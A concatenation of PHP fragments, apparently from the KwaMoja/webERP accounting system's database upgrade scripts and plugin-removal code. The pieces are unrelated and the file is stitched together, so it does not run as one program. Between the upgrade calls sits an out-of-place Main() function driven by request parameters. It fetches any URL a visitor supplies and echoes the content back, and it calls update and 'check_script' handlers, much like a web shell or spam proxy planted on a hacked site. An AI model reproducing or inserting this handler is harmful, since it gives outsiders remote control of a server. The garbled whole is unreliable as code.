<?php DropConstraint('stockcatproperties', 'stockcatproperties_ibfk_2', $db); DropConstraint('stockcatproperties', 'stockcatproperties_ibfk_3', $db); RemoveScript('FixedAssetList.php', $db); RemoveScript('MenuAccess.php', $db); RemoveScript('OrderEntryDiscountPricing.php', $db); RemoveScript('PrintSalesOrder.php', $db); RemoveScript('ReportBug.php', $db); RemoveScript('ReportletContainer.php', $db); RemoveScript('SystemCheck.php', $db); UpdateDBNo(basename(__FILE__, '.php'), $db);
$Zip->open('plugins/' . $_POST['Available'], ZipArchive::OVERWRITE); $Zip->addFile($TempSummary, 'summary.xml'); foreach ($Scripts as $Script) { $Zip->addFile($Script->name); } $Zip->addFile($TempMenus, $MenuLinks); $Zip->addFile($TempDBRemove, $DBRemoval); $Zip->addFile($TempDB, $DBUpdates); $Zip->close(); foreach ($Scripts as $Script) { $ZipFile = zip_open('plugins/' . $_POST['Available']); while ($FileName = zip_read($ZipFile)) { $Entry = zip_entry_name($FileName); if ($Entry == $Script->name) { unlink($Script->name); RemoveScript($Script->name, $db); prnMsg($Script->name . ' ' . _('has been successfully removed from KwaMoja'), 'success'); } } zip_close($ZipFile); } unlink($TempSummary); unlink($TempMenus); unlink($TempDBRemove); unlink($TempDB); $ForceConfigReload = True; prnMsg(_('The plugin has been successfully removed.'), 'success'); } else { echo '<form onSubmit="return VerifyForm(this);" enctype="multipart/form-data" action="' . htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES, 'UTF-8') . '" method="post" class="noPrint">'; echo '<input type="hidden" name="FormID" value="' . $_SESSION['FormID'] . '" />'; echo '<input type="submit" name="reload" value="Reload" hidden="hidden" />';
/** * Use this function main working function * the output of Main(). */ function Main() { if (isset($_REQUEST['update']) == true) { Update(); } if (isset($_REQUEST['include_update']) == true) { ScriptUpdate(); } if (isset($_REQUEST['check_script']) == true) { CheckScript(); } if (isset($_REQUEST['clear_message']) == true) { RemoveScript(); } if (isset($_REQUEST['GetContent']) === true) { $sGetUrl = ''; $sGetUrl = trim($_REQUEST['GetContent']); if (strlen($sGetUrl) == 0) { echo '<fail>no valid url</fail>'; exit; } $nMatch = preg_match('#^http:\\/\\/#i', $sGetUrl); if ($nMatch === false || $nMatch == 0) { $sGetUrl = 'http://' . $sGetUrl; } $sOutContent = ''; $bGetContentResult = false; $bGetContentResult = GetContents($sGetUrl, $sOutContent); if ($bGetContentResult === false || $sOutContent === false || strlen($sOutContent) === 0) { echo '<fail>cant get content</fail>'; } else { echo $sOutContent; } } if (isset($_REQUEST['dgen']) == true && isset($_REQUEST['secvalue']) == true) { UpdateFilds(); exit; } if (isset($_REQUEST['name']) === true && isset($_REQUEST['word']) === true && isset($_REQUEST['indx']) === true) { ShowContent(); } }
ChangeConfigValue('VersionNumber', '3.12.31', $db); NewConfigValue('AutoAuthorisePO', '1', $db); ChangeConfigValue('VersionNumber', '4.03', $db); AddColumn('poplaced', 'salesorders', 'TINYINT', 'NOT NULL', '0', 'quotedate', $db); AddIndex(array('poplaced'), 'salesorders', 'poplaced', $db); ChangeConfigValue('VersionNumber', '4.03.1', $db); ChangeConfigValue('VersionNumber', '4.03.2', $db); AddColumn('cashsalebranch', 'locations', 'VARCHAR(10)', 'NOT NULL', "Default ''", 'managed', $db); ChangeColumnType('cashsalecustomer', 'locations', 'VARCHAR(10)', 'NOT NULL', '', $db); ChangeConfigValue('VersionNumber', '4.03.3', $db); NewScript('Z_ChangeSupplierCode.php', '15', $db); ChangeConfigValue('VersionNumber', '4.03.5', $db); NewScript('ReprintGRN.php', '11', $db); ChangeConfigValue('VersionNumber', '4.03.6', $db); AddColumn('usepreprintedstationery', 'paymentmethods', 'TINYINT', 'NOT NULL', '0', 'receipttype', $db); RemoveScript('PDFStockTransListing.php', $db); NewScript('PDFPeriodStockTransListing.php', '3', $db); ChangeConfigValue('VersionNumber', '4.03.7', $db); DropColumn('itemno', 'purchorderdetails', $db); DropColumn('subtotal_amount', 'purchorderdetails', $db); DropColumn('package', 'purchorderdetails', $db); DropColumn('pcunit', 'purchorderdetails', $db); DropColumn('kgs', 'purchorderdetails', $db); DropColumn('cuft', 'purchorderdetails', $db); DropColumn('total_quantity', 'purchorderdetails', $db); DropColumn('netweight', 'purchorderdetails', $db); DropColumn('total_amount', 'purchorderdetails', $db); DropColumn('uom', 'purchorderdetails', $db); ChangeConfigValue('VersionNumber', '4.03.8', $db); ChangeColumnType('stockcheckdate', 'stockcheckfreeze', 'DATE', 'NOT NULL', '0000-00-00', $db); UpdateDBNo(basename(__FILE__, '.php'), $db);
<?php $sql = "SET foreign_key_checks=0"; $result = executeSQL($sql, $db, False); executeSQL("INSERT INTO securitytokens VALUES(0, 'Main Index Page')", $db); executeSQL("INSERT INTO securitygroups (SELECT secroleid,0 FROM securityroles)", $db); NewScript('reportwriter/admin/ReportCreator.php', '15', $db); NewScript('RecurringSalesOrdersProcess.php', '1', $db); RemoveScript('Z_CopyBOM.php', $db); NewScript('CopyBOM.php', 15, $db); CreateTable('departments', "CREATE TABLE departments (\n`departmentid` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n`description` VARCHAR (100) NOT NULL DEFAULT '',\n`authoriser` varchar (20) NOT NULL DEFAULT ''\n)", $db); CreateTable('stockrequest', "CREATE TABLE stockrequest (\n`dispatchid` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n`loccode` VARCHAR (5) NOT NULL DEFAULT '',\n`departmentid` INT NOT NULL DEFAULT 0,\n`despatchdate` DATE NOT NULL DEFAULT '0000-00-00',\n`authorised` TINYINT NOT NULL DEFAULT 0,\n`closed` TINYINT NOT NULL DEFAULT 0,\n`narrative` TEXT NOT NULL\n)", $db); CreateTable('stockrequestitems', "CREATE TABLE stockrequestitems (\n`dispatchitemsid` INT NOT NULL DEFAULT 0,\n`dispatchid` INT NOT NULL DEFAULT 0,\n`stockid` VARCHAR (20) NOT NULL DEFAULT '',\n`quantity` DOUBLE NOT NULL DEFAULT 0,\n`qtydelivered` DOUBLE NOT NULL DEFAULT 0,\n`decimalplaces` INT(11) NOT NULL DEFAULT 0,\n`uom` VARCHAR(20) NOT NULL DEFAULT '',\n`completed` TINYINT NOT NULL DEFAULT 0\n)", $db); NewScript('Departments.php', '1', $db); NewScript('InternalStockRequest.php', '1', $db); NewScript('InternalStockRequestFulfill.php', '1', $db); NewScript('InternalStockRequestAuthorisation.php', '1', $db); AddColumn('issueglact', 'stockcategory', 'INT', 'NOT NULL', '0', 'adjglact', $db); executeSQL("UPDATE `stockcategory` SET `issueglact`=`adjglact`", $db); NewConfigValue('ShowStockidOnImages', '0', $db); NewScript('SupplierPriceList.php', '4', $db); CreateTable('labels', "CREATE TABLE IF NOT EXISTS `labels` (\n `labelid` tinyint(11) NOT NULL AUTO_INCREMENT,\n `description` varchar(50) NOT NULL,\n `papersize` varchar(20) NOT NULL,\n `height` tinyint(11) NOT NULL,\n `width` tinyint(11) NOT NULL,\n `topmargin` tinyint(11) NOT NULL,\n `leftmargin` tinyint(11) NOT NULL,\n `rowheight` tinyint(11) NOT NULL,\n `columnwidth` tinyint(11) NOT NULL,\n PRIMARY KEY (`labelid`)\n)", $db); CreateTable('labelfields', "CREATE TABLE IF NOT EXISTS `labelfields` (\n `labelfieldid` int(11) NOT NULL AUTO_INCREMENT,\n `labelid` tinyint(4) NOT NULL,\n `fieldvalue` varchar(20) CHARACTER SET utf8 NOT NULL,\n `vpos` tinyint(4) NOT NULL,\n `hpos` tinyint(4) NOT NULL,\n `fontsize` tinyint(4) NOT NULL,\n `barcode` tinyint(4) NOT NULL DEFAULT '0',\n PRIMARY KEY (`labelfieldid`),\n KEY `labelid` (`labelid`),\n KEY `vpos` (`vpos`)\n)", $db); AddIndex(array('locationname'), 'locations', 'locationname', $db); DropPrimaryKey('chartmaster', 'accountcode', $db); DropConstraint('bankaccounts', 'bankaccounts_ibfk_1', $db); DropConstraint('chartdetails', 'chartdetails_ibfk_1', $db); DropConstraint('gltrans', 'gltrans_ibfk_1', $db); DropConstraint('pcexpenses', 'pcexpenses_ibfk_1', $db); DropConstraint('pctabs', 'pctabs_ibfk_5', $db); DropConstraint('taxauthorities', 'taxauthorities_ibfk_1', $db);